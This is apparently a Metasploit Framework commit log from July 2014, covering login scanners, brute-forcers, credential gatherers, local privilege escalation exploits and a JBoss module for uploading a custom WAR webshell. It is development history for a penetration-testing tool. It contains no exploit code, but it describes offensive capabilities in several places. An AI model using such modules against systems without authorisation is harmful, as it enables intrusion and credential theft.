* is_? convention fixed
* Unknown error removed
* Minor styling issues are fixed
* VERBOSE Option Removed
2014-07-27 00:40:37 +03:00
ikkini 18f1bdbb2c Merge pull request #1 from todb-r7/fix-pr3570
Revert "change to .gitignore"
2014-07-26 07:55:23 +02:00
Alton Johnson 555e6c9cff Modified a few things based on suggestions. 2014-07-25 18:23:12 -05:00
sinn3r faee2c7026 Land #3492 - sqlmap plugin for sqlmap API 2014-07-25 16:30:30 -05:00
Tod Beardsley 3e304536ea Land #3554, Typo3 mixin specs 2014-07-25 16:06:40 -05:00
Alton Johnson 58502f139a Updated. 2014-07-25 15:46:50 -05:00
Tod Beardsley 1cdff92e72 Revert "change to .gitignore"
This reverts commit 6747ba91ed.
2014-07-25 14:56:10 -05:00
cx cdabfb84f4 Add Wordpress XML-RPC Login Scanner
This module attempts to authenticate against a Wordpress-site (via
  XMLRPC) using username and password combinations indicated by the
  USER_FILE, PASS_FILE, and USERPASS_FILE options.

  The module, checks for XMLRPC response using `demo.sayHello` function
  and sweeps users with `wp.getUsers` function.

  If `verbose` is set `true`, the raw XML response will be printed.

  The module might be usefull when the target's administration page
  is protected.
2014-07-25 16:24:09 +03:00
Alton Johnson d0cd5cfc7a Updated. 2014-07-24 21:53:23 -05:00
Alton Johnson cdc56df09f Updated smb_enumshares.rb 2014-07-24 21:18:02 -05:00
Alton Johnson 51c488a5ea Added smb_enumshares. 2014-07-24 21:11:18 -05:00
OJ 210342df5b Minor tidies to conform to standards 2014-07-25 09:32:54 +10:00
James Lee a0a2fddee8 Land #3562, yardoc cleanup 2014-07-24 17:25:12 -05:00
OJ 9fe2dd59aa Move error messages to check 2014-07-25 07:57:09 +10:00
James Lee bc836f3606 Add a little easter egg in the NTLM hash 2014-07-24 16:37:24 -05:00
David Bloom e35ee1f037 Update gnome_commander_creds.rb 2014-07-24 23:36:32 +02:00
David Bloom f4440680b6 Update gnome_commander_creds.rb 2014-07-24 23:30:26 +02:00
ikkini 03f68e21e7 Merge branch 'rsync_modules' of https://github.com/ikkini/metasploit-framework into rsync_modules 2014-07-24 23:29:14 +02:00
ikkini ccb26637e7 List all (listable) modules from a rsync daemon 2014-07-24 23:26:41 +02:00
David Bloom 9dc37c3cc7 Update gnome_commander_creds.rb 2014-07-24 23:18:26 +02:00
David Bloom 48982b3b89 Update gnome_commander_creds.rb 2014-07-24 23:16:45 +02:00
David Bloom 2e5c2a514b Update gnome_commander_creds.rb 2014-07-24 23:16:10 +02:00
David Bloom 9aa1b86d8f Update gnome_commander_creds.rb 2014-07-24 23:10:00 +02:00
David Bloom 718c401472 Update gnome_commander_creds.rb 2014-07-24 23:01:30 +02:00
us3r777 cd2ec0a863 Refactored jboss mixin and modules
Moved fail_with() from mixin to modules. Added PACKAGE datastore to
lib/msf/http/jboss/bsh.rb.
2014-07-24 22:58:58 +02:00
James Lee b8b3509c96 Re-add the ability to delete creds 2014-07-24 15:44:52 -05:00
Tod Beardsley 8b2ff062c3 Land #3568, @jhart-r7 regex fix for dir traversal 2014-07-24 15:43:43 -05:00
James Lee 18ce342e2a Refactor a bit for readability 2014-07-24 15:42:36 -05:00
Jon Hart bd1970ced9 Fix basic HTTP directory traversal detection 2014-07-24 13:22:58 -07:00
ikkini 6692545eb6 Delete rsync_list.rb 2014-07-24 22:10:08 +02:00
ikkini f12b97e8c0 List all (listable) modules from a rsync daemon 2014-07-24 22:04:00 +02:00
James Lee 1470f3de30 Fix padding when a cell value is nil 2014-07-24 14:00:09 -05:00
David Maloney 7a49f218d4 update .yardopts 2014-07-24 13:59:04 -05:00
James Lee 8a279d202c Whitespace 2014-07-24 13:56:57 -05:00
James Lee 5286b7cc22 Land #3566, ducktype better 2014-07-24 11:19:40 -05:00
David Bloom 8a6fa178d6 Update gnome_commander_creds.rb 2014-07-24 08:10:28 +02:00
OJ 3ec30bdf78 Add some small fixes to the MQAC local exploit
* Check for `INVALID_HANDLE_VALUE` when attempting to open the
  device, as this is what is returned when the device doesn't exist.
* Make sure that we only run the exploit against tartgets that we
  support directly to make sure we don't BSOD machines (such as what
  happens with SP1/SP2).
* Add a call to `check` in the exploit code.
2014-07-24 14:48:29 +10:00
OJ ddf0636dab Land #3557 : MQAC arbitrary write priv esc XP SP3 2014-07-24 11:24:56 +10:00
James Lee 1a4e59e547 Add add-ssh-key subcommand 2014-07-23 17:09:02 -05:00
darkbushido 064d624322 changing Credential == operator
it should no longer raise no method errors when comparing a credential to
an object that doesnt respond to public, private, or realm
2014-07-23 16:17:09 -05:00
Samuel Huckins 6c1a3f4992 Merge pull request #3555 from jlee-r7/bug/MSP-10817/jtr-typo
Now able to complete without error.

MSP-10817 #land
2014-07-23 15:55:42 -05:00
James Lee eee72a86ba Fix the case when john cracks only half of LM 2014-07-23 15:25:32 -05:00
Samuel Huckins ffd7d28bc6 Merge pull request #3559 from dmaloney-r7/feature/MSP-10230/snmp_login
MSP-10230 #land
2014-07-23 13:59:37 -05:00
David Bloom 41e5e24b19 Update gnome_commander_creds.rb 2014-07-23 20:26:43 +02:00
David Bloom 30c00f4fd6 gnome-commander credentials add 2014-07-23 20:20:29 +02:00
David Maloney b1d1e4fc04 Merge branch 'staging/electro-release' of github.com:rapid7/metasploit-framework into staging/electro-release 2014-07-23 12:08:56 -05:00
David Maloney b7d15d0b08 simple fix to mysql loginscanner
typo caused connection_timeout default to not get set
2014-07-23 12:07:57 -05:00
Jay Smith 042278ed6a Update code to reflect @OJ code suggestions 2014-07-23 11:01:43 -04:00
James Lee 4f19a1defa Add an origin type and actually honor realm
Also adds better help text
2014-07-22 19:52:10 -05:00
Jay Smith 534a5d964b Add CVE-2014-4971 BthPan local privilege escalation
Add CVE-2014-4971 BthPan local privilege escalation for Windows XP SP3
2014-07-22 18:17:06 -04:00
Christian Mehlmauer 57839e0f4b Fix some yardoc issues 2014-07-22 23:26:50 +02:00
us3r777 b526fc50f8 Refactored jboss mixin and modules
Moved VERB option to the mixin. Replaced "if datastore['VERBOSE']"
by vprint_status().
2014-07-22 23:08:42 +02:00
David Maloney 1f007bf3c9 start adding new rpc calls
Signed-off-by: David Maloney <DMaloney@rapid7.com>
2014-07-22 15:46:27 -05:00
Christian Mehlmauer c1a0f707ef typos 2014-07-22 22:29:01 +02:00
jvazquez-r7 f6f8d7b993 Delete debug print_status 2014-07-22 15:00:03 -05:00
jvazquez-r7 b086462ed6 More cleanups of modules which REALLY need the 'old' generic encoder 2014-07-22 14:57:53 -05:00
Trevor Rosen a338b4a11c Merge branch 'feature/MSP-10029/core-search' into staging/electro-release
Support search
2014-07-22 14:50:38 -05:00
jvazquez-r7 3d7ed10ea0 Second review of modules which shouldn't be affected by changes 2014-07-22 14:33:57 -05:00
jvazquez-r7 5e8da09b2d Allow some modules to use the old encoder 2014-07-22 14:28:11 -05:00
Jay Smith 0db3a0ec97 Update code to reflect @jlee-r7's code review 2014-07-22 15:14:24 -04:00
Jay Smith 125b2df8f5 Update code to reflect @hdmoore code suggestions 2014-07-22 14:53:24 -04:00
Spencer McIntyre 7f79e58e7f Lots and cleanups based on PR feed back 2014-07-22 14:45:00 -04:00
jvazquez-r7 b0f8d8eaf1 Delete debug print_status 2014-07-22 13:29:00 -05:00
jvazquez-r7 f546eae464 Modify encoders to allow back compatibility 2014-07-22 13:27:12 -05:00
Christian Mehlmauer 073a8c5233 redirection returns an URI 2014-07-22 19:55:26 +02:00
Christian Mehlmauer a6479a77d6 Implented feedback from @jhart-r7 2014-07-22 19:49:58 +02:00
David Maloney e54f5e8ee7 working snmp_login module 2014-07-22 12:44:21 -05:00
Spencer McIntyre 5d9c6bea9d Fix a typo and use the execute_shellcode function 2014-07-22 13:06:57 -04:00
Samuel Huckins 469ac30539 Merge branch 'upstream-master' 2014-07-22 11:50:13 -05:00
David Maloney c553fcac73 start refacotirng snmp_login 2014-07-22 11:46:22 -05:00
David Maloney 0eb4fc0ed1 community string collection
add community string collection to handle snmp loginscanner
credentials
2014-07-22 11:44:31 -05:00
jvazquez-r7 a642ce5e1c Delete not necessary end keywords 2014-07-22 11:35:04 -05:00
Samuel Huckins e2dd0a35d2 Merge branch 'master' of github.com:shuckins-r7/metasploit-framework 2014-07-22 11:23:19 -05:00
jvazquez-r7 b770745e9d Split generic_sh in echo, perl and ifs encoders 2014-07-22 10:27:45 -05:00
Spencer McIntyre 12904edf83 Remove unnecessary target info and add url reference 2014-07-22 11:20:07 -04:00
Christian Mehlmauer baff003ecc extracted check version to module
also added some wordpress specs and applied
rubocop
2014-07-22 17:02:35 +02:00
Spencer McIntyre ca0dcf23b0 Add a simple check method for cve-2014-4971 2014-07-22 10:54:10 -04:00
Luke Imhoff 14fa49cdeb Update spec to handle Mdm::Service#proto sequence
MSP-10029

Mdm::Service factories were changed in metasploit_data_models 0.19.0 to
use a sequence that cycles between 'tcp' and 'udp'.  To make the spec
clearer, just hard-code the protos under test instead of relying on
default behavior.
2014-07-22 09:47:35 -05:00
Spencer McIntyre 6a545c2642 Clean up the mqac escalation module 2014-07-22 10:39:34 -04:00
Luke Imhoff f3eb708dd1 Update metasploit_data_models and metasploit-credential for tag search
MSP-10029

Use metasploit_data_models that supports searching Mdm::Tag and a
compatible metasploit-credential.  Needed so
Metasploit::Credential::Core#tags can be searched in Pro.
2014-07-22 09:07:18 -05:00
Spencer McIntyre da4eb0e08f First commit of MQAC arbitrary write priv escalation 2014-07-22 10:04:12 -04:00
jvazquez-r7 ef12a632f6 Change filename 2014-07-22 08:20:32 -05:00
James Lee 2013e28608 WIP: First stab at creds add-* subcommands 2014-07-22 02:05:55 -05:00
Luke Imhoff f8af435df6 Fix version restrictions on metasploit-credential
MSP-10029

The '<' version should have been '0.8' and not '0.7.10' because '0.8' is
the next incompatible version number.
2014-07-21 19:44:20 -05:00
James Lee addecb6311 Fix running shipped bins by using a config file
This should get everything working again.

MSP-10817
2014-07-21 18:26:50 -05:00
James Lee 917d2c718b Use All4 instead of LanMan
... Which was the original behavior. A full incremental LanMan can take
many hours instead of the few seconds this module was intended to run.
2014-07-21 18:24:35 -05:00
Brandon Perry d62b24744c Moar " -> ' 2014-07-21 18:04:36 -05:00
Brandon Perry 1a157ff803 Change all the " to ' when not interpolating 2014-07-21 18:00:03 -05:00
James Lee a2a75ffb03 Fix typo and full path issue
Previously, the JtR library was prepending the path to data/john/ for
shipped bins; without it, modules weren't finding the executables.
2014-07-21 17:58:27 -05:00
Brandon Perry 5190ed750f This adds the human readable IDs
and converts the negative if's into unless.
2014-07-21 17:49:53 -05:00
jvazquez-r7 72c2c07495 Add the specs, really 2014-07-21 17:39:51 -05:00
jvazquez-r7 47d9a30af0 Add specs for Typo3 mixin 2014-07-21 17:39:07 -05:00
us3r777 ae2cd63391 Refactored Jboss mixin
Moved TARGETURI option to the JBoss mixin. The mixin now includes
Msf::Exploit::Remote::HttpClient which provides USERNAME and PASSWORD
2014-07-21 23:41:58 +02:00
Joe Vennix 9db951cadc Add sane defaults for HTTP method and path. 2014-07-21 14:57:28 -05:00
Luke Imhoff 1a10b21e7f Use metasploit-credential with association search
MSP-10029
2014-07-21 13:39:17 -05:00
sinn3r 6048f21875 Land #3552 - Correct DbVisualizer title name 2014-07-21 13:07:33 -05:00
sinn3r 73e665b863 Land #3542 - Multi Manage DbVisualizer Query 2014-07-21 13:02:19 -05:00
sinn3r fbbaaf2e2a Fix spaces and module description 2014-07-21 13:01:18 -05:00
Luke Imhoff a4e5c36de5 Update to metasploit-credential to use gem.
MSP-10808
2014-07-21 12:57:20 -05:00
jvazquez-r7 fe0b6fa79e Land #3532, @luisco's joomla login bruteforcer 2014-07-21 12:56:15 -05:00
jvazquez-r7 aefaa3dd96 Make rubocop more happy 2014-07-21 12:55:45 -05:00
Tod Beardsley a62ee99d1d Actually require NetAPI 2014-07-21 12:48:34 -05:00
Tod Beardsley ffafd4c01f Add NTP fuzzer from @jhart-r7
Looks good to me!
2014-07-21 12:38:12 -05:00
Tod Beardsley a41768fd7d Correct DbVisualizer title name
I think "DbVis Software" is the name of the company and the product
itself is called DbVisualizer.

Also fixed the description on the WPTouch module.
2014-07-21 12:35:01 -05:00
sinn3r aa27af96f4 Land #3547 - rubocop changes 2014-07-21 12:26:51 -05:00
jvazquez-r7 478e43170a Report credentials to database 2014-07-21 12:26:13 -05:00
jvazquez-r7 63fca1bfdd Make some datastore options required 2014-07-21 12:10:52 -05:00
jvazquez-r7 436ac706e8 Rescue Rex::ConnectionError while finding the uri 2014-07-21 12:00:24 -05:00
jvazquez-r7 30de4cdf8d Fix get_login_hidden 2014-07-21 11:57:37 -05:00
jvazquez-r7 ff3a21b520 Refactor do_web_login 2014-07-21 11:35:19 -05:00
jvazquez-r7 22f41e4435 Use vars_post 2014-07-21 11:07:00 -05:00
jvazquez-r7 92fd3bc72b Deleting REQUEST_TYPE option because I don't think has sense here 2014-07-21 10:53:43 -05:00
jvazquez-r7 986b8e5d02 First style issues cleanup 2014-07-21 09:49:05 -05:00
HD Moore b3c7fff32a Land #3551, fix inconsistent pack/unpack usage 2014-07-20 17:11:49 -05:00
HD Moore eea0b24aec Land #3550, fix railgun use of pack/unpack Q 2014-07-20 17:09:53 -05:00
Meatballs 3daf78777b Use native unpack for PDWORDs 2014-07-20 22:57:19 +01:00
Meatballs 4fecae084b Q (native) to Q< (le) 2014-07-20 22:38:30 +01:00
Meatballs b0a596b4a1 Update newer modules 2014-07-20 21:59:10 +01:00
Meatballs 5f0533677e Cheat/Rubycop all the things 2014-07-20 21:07:59 +01:00
Meatballs 474ee81807 Merge remote-tracking branch 'upstream/master' into pr2075 2014-07-20 21:01:54 +01:00
Meatballs b28343842f Address @jhart-r7's comments 2014-07-20 21:00:34 +01:00
William Vu d9f4a84c16 Land #3548, peer rhost fix 2014-07-19 16:05:30 -05:00
HD Moore 5ba96d6054 Fix peer(rhost)->peer() usage in mediawiki_svg_fileaccess 2014-07-19 15:56:41 -05:00
scriptjunkie 066a5e2a4b Land #3377, GPP gathering module fixes 2014-07-19 11:12:51 -05:00
scriptjunkie 8fe508207c Merge Meatballs' gpp_again pull into new branch 2014-07-19 11:10:14 -05:00
Christian Mehlmauer a809c9e0b5 Changed to vprint and added comment 2014-07-18 22:15:56 +02:00
Christian Mehlmauer c6e129c622 Fix rubocop warnings 2014-07-18 21:58:33 +02:00
root 7a5f3b8991 Implementing Ruby Style Guide and replace send_request_raw send_request_cgi 2014-07-18 14:31:38 -05:00
Samuel Huckins ed1ed5d5a4 Merge pull request #117 from rapid7/feature/MSP-9943/db-import-creds
Deprecation warning exorcised, specs passing, export/import accuracy confirmed.

MSP-9943 #land
2014-07-18 11:56:59 -05:00
James Lee 2eea95e120 Silence warnings about I18n defaults 2014-07-18 11:49:49 -05:00
James Lee 175d857611 Fix empty message and don't lie in yardoc 2014-07-18 11:36:31 -05:00
Tod Beardsley 942112d18e Land #3538, SAP fix from @jvazquez-r7
This looks good to me, the whole print statement is enclosed in a check
for results.
2014-07-18 10:27:47 -05:00
us3r777 088f208c7c Added auxiliary module jboss_bshdeployer
The module allows to deploy a WAR (a webshell for instance) using the
BSHDeployer.
Also refactored modules/exploits/multi/http/jboss_bshdeployer.rb to
use the new Mixin (lib/msf/http/jboss).
2014-07-18 11:51:46 +02:00
root 1f02891dc7 Change name of module and implementation of the recommended changes 2 2014-07-18 00:17:35 -05:00
root 0168a99eaa Change name of module and implementation of the recommended changes 2014-07-17 23:49:25 -05:00
root f2eabdba94 implementation of the recommended changes 2014-07-17 23:36:37 -05:00
jvazquez-r7 ad2e7c3713 print header only if there are results... 2014-07-17 18:02:24 -05:00
us3r777 58adc350b5 Refactor: Creation of a JBoss mixin
The jboss_bsheployer as is does not allow to deploy a custom WAR file.
It is convenient when ports are blocked to be able to deploy a webshell
instead of just launching a payload. This will require a auxiliary
module which will use the JBoss mixin methods.
2014-07-18 00:56:32 +02:00
James Lee 2dab69d67c Use constant instead of hardcoded filename 2014-07-17 16:04:25 -05:00
James Lee 7d1cd22aca Quick and dirty import of cred zip 2014-07-17 15:59:16 -05:00
sinn3r c59d72b0c6 Land #3530 - dbvis database administrator 2014-07-17 14:36:34 -05:00
midnitesnake 36f6bcca15 Applied Jon Hart's recommendations 2014-07-17 20:29:26 +01:00
sinn3r 6d35867f7f Update module description 2014-07-17 14:24:57 -05:00
sinn3r 8e7361d952 Fix indent again 2014-07-17 14:12:04 -05:00
sinn3r aed8af3abc Retabbed 2014-07-17 14:03:27 -05:00
Jay Smith 2be6eb16a2 Add in exploit check and version checks
Move the initial checking for the vboxguest device and os checks
into the MSF check routine.
2014-07-17 14:56:34 -04:00
sinn3r d6ab418d6f Fix spaces 2014-07-17 13:52:00 -05:00
Tod Beardsley 19477dbfef Land #3537 from @PagedeGeek, msfcrawler fix 2014-07-17 13:38:15 -05:00
Tod Beardsley cd08acd9c6 Merging my fix to #3537, nokogiri for msfcrawler 2014-07-17 13:37:37 -05:00
Kyle Gray 08cd2690f9 Merge branch 'bug/MSP-10724/fix-import-failure' into staging/electro-release MSP-10724 #land 2014-07-17 13:37:13 -05:00
Tod Beardsley b050b5d1df Rubocop -a on MS08-067
This reduces the number of style guide violations from 230ish to 36.
Nearly all of it has to do with errant parameters, element alignment,
and comment blocks.

Obviously, since this was all automatically fixed, some pretty severe
testing should occur before landing this.

I kind of don't like the automatic styling of the arrays for the
references, but maybe I can get used to it. It's open for discussion.

@jhart-r7 please take a look at this as well -- anything jumping out at
you on this that we should be avoiding for Rubocop?
2014-07-17 12:29:20 -05:00
David Bloom b4e68a7c25 Update dbvis_query.rb 2014-07-17 19:21:35 +02:00
Tod Beardsley 2a66bd63b7 Unincluding hpricot
The Gemfile was badly formatted anyway, since it lacked a justifying
comment, as all other included gems have.
2014-07-17 11:38:13 -05:00
Jon Hart 06fd1ead9d Address more style issues 2014-07-17 09:37:27 -07:00
Tod Beardsley 5d3b472293 Merge PR#3541 to this branch to undo it. 2014-07-17 11:36:36 -05:00
Tod Beardsley 6bdb3205b0 Unignore .ruby-version 2014-07-17 11:30:26 -05:00
Jon Hart 17b0560dff Add rubygems check to msftidy. remove rubygems. 2014-07-17 09:29:13 -07:00
Joshua Smith 9fb18f13cc Land #3541, adds hpricot to gemfile 2014-07-17 11:14:13 -05:00
Samuel Huckins fd2a12da43 Merge pull request #115 from rapid7/bug/MSP-10730/finish-login-status-move
Specs passing, no hits on Metasploit::Credential::Login::Status across all projects aside from coverage docs (3).

MSP-10730 #land
2014-07-17 10:55:46 -05:00
Tod Beardsley feee142f32 Updating Gemfile lock so Travis doesn't fail. 2014-07-17 10:18:22 -05:00
Trevor Rosen e789d5350b No idea why this didn't fail before
MSP-10724
2014-07-17 10:15:22 -05:00
Vincent Herbulot bea660ad4d Added possibility to upload a custom WAR file
Added 2 options, one for uploading a custom WAR file. The other
to specify if you want or not to undeploy the war at the end of
the exploit.
The module as is does not allow to deploy a custom WAR file. It is
convenient when ports are blocked to be able to deploy a webshell
instead of just launching a payload.
2014-07-17 17:13:19 +02:00
jvazquez-r7 7e6e154a39 Fix null pointer dereference 2014-07-17 08:51:12 -05:00
David Bloom 0f92b73f1a Update dbvis_add_db_admin.rb 2014-07-17 10:14:28 +02:00
David Bloom 561ef427cc Update dbvis_query.rb 2014-07-17 10:13:58 +02:00
David Bloom 60c71b2681 Update dbvis_add_db_admin.rb 2014-07-17 10:11:13 +02:00
David Bloom 8f9a1e485c Delete dbvis_query.rb 2014-07-17 08:05:18 +02:00
David Bloom 1c8cac359c Added video link 2014-07-17 08:02:27 +02:00
David Bloom 7bee4db1d7 dbvis_query.rb add 2014-07-17 07:48:17 +02:00
Trevor Rosen bebf11c969 Resolves some Login::Status migration issues
MSP-10730
2014-07-16 21:52:08 -05:00
root ceff18de9d Add modifiable UserAgent and translations to English 2014-07-16 20:44:20 -05:00
David Bloom 4a25bb4247 Update dbvis_add_db_admin.rb 2014-07-17 02:01:50 +02:00
William Vu a07656fec6 Land #3536, msftidy INFO messages aren't blockers 2014-07-16 17:57:48 -05:00
Sam 115b78ca29 Update .ruby-version 2014-07-17 00:15:38 +02:00
Sam 767dfae184 Update .ruby-version 2014-07-17 00:15:25 +02:00
Sam 8cabc753a9 Replace hpricot by nokogiri 2014-07-17 00:14:07 +02:00
Brandon Turner ff017f83f7 Merge pull request #105 from rapid7/bug/MSP-10684-electro-installers
MSP-10684 Allow declaring root via env var in gemspecs
2014-07-16 16:51:46 -05:00
Lance Sanchez 9addfcede7 Merge branch 'bug/MSP-10728/invalidate-login' into staging/electro-release 2014-07-16 16:20:40 -05:00
Lance Sanchez 7e338aa828 updating Gemfile.lock
MSP-10728
2014-07-16 16:19:59 -05:00
David Maloney 0d3abf26e8 use latest metasploit-credential 2014-07-16 15:38:50 -05:00
Tod Beardsley 58558e8dfa Allow INFO msftidy messages
INFO level messages should not block commits or be complained about on
merges. They should merely inform the user.
2014-07-16 15:29:23 -05:00
sinn3r 8733dcb2f8 Land #3531 - Windows 2008 Update for HP AutoPass License 2014-07-16 15:13:05 -05:00
William Vu 0ef1f56163 Land #3479, this time for real
Missed a commit.
2014-07-16 15:06:46 -05:00
William Vu ff6c8bd5de Land #3479, broken sock.get fix 2014-07-16 14:57:32 -05:00
William Vu b6ded9813a Remove EOL whitespace 2014-07-16 14:56:34 -05:00
William Vu 25f74b79b8 Land #3484, bad pack/unpack specifier fix 2014-07-16 14:52:23 -05:00
Meatballs 7583ed4950 Merge remote-tracking branch 'upstream/master' into pr2075 2014-07-16 20:34:34 +01:00
Meatballs b95a5ebe12 Land #3535, Depreciate psh_web_delivery 2014-07-16 19:58:59 +01:00
sinn3r 4fb58202fa Land #3529 - Handle Rex::AddressInUse exception 2014-07-16 13:57:41 -05:00
Tod Beardsley 5fa639c640 Land #3528, add Rubocop from @jhart-r7
This adds the gem to the :development group in the Gemfile, as well as
wires up msftidy to use it.
2014-07-16 13:45:44 -05:00
Jay Smith 6d49f6ecdd Update code to reflect hdmoore's code review. 2014-07-16 14:29:17 -04:00
cdoughty-r7 1ad04eb2d9 Merge pull request #111 from rapid7/bug/MSP-10714-gem-version
Fix gem version to support rubygems < 2.1
2014-07-16 13:23:33 -05:00
Spencer McIntyre 82abe49754 Mark windows/misc/psh_web_delivery as deprecated 2014-07-16 14:02:05 -04:00
David Maloney 8b9aa75c68 Merge branch 'staging/electro-release' of github.com:rapid7/metasploit-framework-private into staging/electro-release 2014-07-16 12:54:37 -05:00
David Maloney 5534599cfc fix for jtr warnings
remmove include for Jtr mixin in deprecated jtr_unshadow module

remove deprecated postgres_crack module
2014-07-16 12:52:29 -05:00
Samuel Huckins fc0c299db8 Merge pull request #113 from rapid7/bug/MSP-10721/gemspec-meterpreter-bins
Specs passing after bundle install, console starts up.
2014-07-16 12:36:50 -05:00
David Bloom 52bdc5364c Update dbvis_query.rb 2014-07-16 18:52:27 +02:00
David Bloom 200c122ecd Update dbvis_query.rb 2014-07-16 18:48:15 +02:00
David Bloom 31e38cee23 Update dbvis_add_db_admin.rb 2014-07-16 18:45:38 +02:00
Jon Hart fa472c7752 Merge pull request #2 from todb-r7/rubocop-is-optional
Rubocop checks are optional and info only
2014-07-16 09:34:25 -07:00
David Bloom 5f38ad5e10 Update dbvis_add_db_admin.rb 2014-07-16 18:30:23 +02:00
David Bloom c3b87e2e6c Update rigth on dbviscmd check 2014-07-16 18:27:19 +02:00
Tod Beardsley 68980157c8 Just skip if info is suppressed. 2014-07-16 11:20:40 -05:00
Brandon Turner e637237574 Use the Rubygems 2.2 version convention
Substitute version dashes with ".pre.".

MSP-10714
2014-07-16 11:13:14 -05:00
Tod Beardsley 81a98081d9 Rubocop checks are optional and info only
I like the change but it means that basically everything will fail
forever until we tweak up the config.
2014-07-16 10:26:35 -05:00
Lance Sanchez 1e2df81397 Attempting to fix a gemfile mergeconflict
MSP-10721
2014-07-16 10:22:27 -05:00
David Maloney 098054e902 gemfile.lock 2014-07-16 09:45:59 -05:00
David Maloney 52a29856b3 Merge branch 'master' into staging/electro-release
Conflicts:
	Gemfile
	Gemfile.lock
2014-07-16 09:38:44 -05:00
dmaloney-r7 c288e6625b Merge pull request #112 from rapid7/bug/MSP-10718/metasploit-credential-constant-refactor
Fix bugs due to Metasploit::Model::Login::Status refactor
2014-07-16 09:23:31 -05:00
David Bloom 90932116f8 Update dbvis_query.rb
Minor changes
2014-07-16 15:44:48 +02:00
David Bloom b4aca68406 Update dbvis_query.rb 2014-07-16 15:10:07 +02:00
David Bloom 17b2169b9d Create dbvis_query.rb
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases (With GUI).
The remote database can be accessed from the command line without the need to authenticate.
The module abuses this functionality to query the remote database and store the result.
2014-07-16 14:51:24 +02:00
David Bloom b602fc89a3 Update dbvis_add_db_admin.rb
Corrections
2014-07-16 13:42:58 +02:00
Samuel fe72bac8c8 fix crawler hpricot 2014-07-16 13:23:40 +02:00
Jay Smith cef2c257dc Add CVE-2014-2477 local privilege escalation 2014-07-16 05:49:19 -04:00
Matt Buck eff2defdde Fix bug due to Metasploit::Model::Login::Status refactor
MSP-10718
2014-07-16 04:14:45 -05:00
Trevor Rosen 2f460f32c3 Fix Gemfile deps 2014-07-15 21:52:57 -05:00
Trevor Rosen 17c3e61322 Merge pull request #110 from rapid7/feature/MSP-10711/login-status
Feature/msp 10711/login status

MSP-10711
2014-07-15 21:47:37 -05:00
Brandon Turner 252c359f2a Update Gemfile.lock with new framework version 2014-07-15 19:25:36 -05:00
Jon Hart ab73c16d0d Add Rubocop to msftidy. You now have 15 seconds to comply. You are in direct violation of Penal Code 1.13, Section 9. 2014-07-15 17:11:04 -07:00
Brandon Turner 044fdb8c55 Fix gem version to support rubygems < 2.1
MSP-10714
2014-07-15 19:02:39 -05:00
Jon Hart 7f860a7cdc Add more sensible Rubocop defaults for line length. disable top-level class documentation requirement for modules and don't require big numbers like 12737341238 to be separated with _ -- who does that? 2014-07-15 16:58:11 -07:00
Jon Hart 9e5c24a97e Address some Ruby style issues 2014-07-15 16:55:54 -07:00
jvazquez-r7 6d05a24653 Add target information 2014-07-15 17:45:45 -05:00
sinn3r f8e47a5c61 Land #3524 - WPTouch fileupload exploit 2014-07-15 16:29:59 -05:00
David Maloney ea57ad0126 fix connection error on base
missed a reference to connection_error on the
loginscanner base. this would prevent us from
bailing out early if we have too many connection errors
2014-07-15 16:21:13 -05:00
Spencer McIntyre e58100fe85 Land #3419, multi script delivery module by @jakxx 2014-07-15 17:07:51 -04:00
Spencer McIntyre 1a8d73fca8 Minor whitespace and grammar changes 2014-07-15 17:00:28 -04:00
HD Moore b045e5b14a Merge pull request #1 from wvu-r7/pr/3479
Fix @source and prefer &&
2014-07-15 17:00:13 -04:00
David Maloney 7c0633f0a7 gemfile fix 2014-07-15 15:38:02 -05:00
David Maloney 674447c891 final cleanup steps 2014-07-15 15:31:51 -05:00
David Maloney 7ac6640cfd Merge branch 'staging/electro-release' into feature/MSP-10711/login-status
Conflicts:
	Gemfile
	Gemfile.lock
	modules/auxiliary/scanner/smb/smb_login.rb
2014-07-15 15:12:33 -05:00
dmaloney-r7 4d3bfcf9d0 Merge pull request #109 from rapid7/bug/MSP-10713/smb-error-code
Move error_name to InvalidPacket and check for nil
2014-07-15 15:10:37 -05:00
jvazquez-r7 604a612393 Have into account differences between windows default installs 2014-07-15 15:03:07 -05:00
James Lee 51a9a763c0 Move error_name to InvalidPacket and check for nil
MSP-10713
2014-07-15 15:02:53 -05:00
David Maloney 34635ab968 module login status cleanup
cleanup several bruteforce module to
use the loginstatus constants for result status
2014-07-15 14:55:41 -05:00
David Bloom 875c024243 create dbvis_add_db_admin.rb
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases (With GUI).
The remote database can be accessed from the command line without the need to authenticate.
The module abuses this functionality to create an administrator in the database if DB user rights allow it.
2014-07-15 21:43:14 +02:00
David Maloney 9857bac6b1 add NO_AUTH_REQUIRED 2014-07-15 14:38:41 -05:00
Samuel Huckins a4ff2fdd50 Merge pull request #108 from rapid7/feature/MSP-9948/update-db-import
Specs and functional now passing with latest update.

MSP-9948 #land
2014-07-15 13:36:43 -05:00
Trevor Rosen 6a1149c1ed Add missing origin
MSP-9948
2014-07-15 13:27:08 -05:00
David Maloney 939e585658 refactor all loginscanners
loginscanners now use LoginStatus constants
for the result statuses
2014-07-15 13:17:56 -05:00
jvazquez-r7 4098979448 Add spec 2014-07-15 13:06:53 -05:00
Jon Hart 73736c70b6 Add Rubocop to the Metasploit project
This is a work in progress because the code base is old and the style
varies wildly, however .rubocop.yml can (and should) be tweaked over
time to change standards as we see fit.  As it stands right now there
are few (if any) modules that pass Rubocop.
2014-07-15 10:43:08 -07:00
David Maloney 846679bef9 change Result status
result bojects now use Login::status constants
for their status
2014-07-15 11:39:38 -05:00
sinn3r 57b1023592 Land #3522 - Multi Gather Dbvis Connections Settings 2014-07-15 11:34:02 -05:00
sinn3r 1d6f088eab Pass msftidy 2014-07-15 11:31:37 -05:00
jvazquez-r7 09619abe79 Catch AddressInUse when running commands from the meterpreter console 2014-07-15 11:15:10 -05:00
Tod Beardsley 1cac801158 Land #3527 from @wchen-r7, doc update 2014-07-15 10:50:36 -05:00
sinn3r de4133a83a Update link for The Metasploit Development Environment
The HACKING file still uses the old link, which redirects to this
one, why not just use this one?
2014-07-15 10:16:47 -05:00
David Bloom 526538ecd6 Added dbvis version find and print 2014-07-15 15:04:46 +02:00
David Bloom 97dcc56225 Update dbvis_enum.rb 2014-07-15 14:23:40 +02:00
David Bloom 400b0f4276 parse url to report host in old config 2014-07-15 14:21:09 +02:00
David Bloom f3d953f829 Old config file update
Added functions to parse old and new config files.
2014-07-15 14:00:29 +02:00
David Bloom ac3d453002 Update dbvis_enum.rb 2014-07-15 12:33:07 +02:00
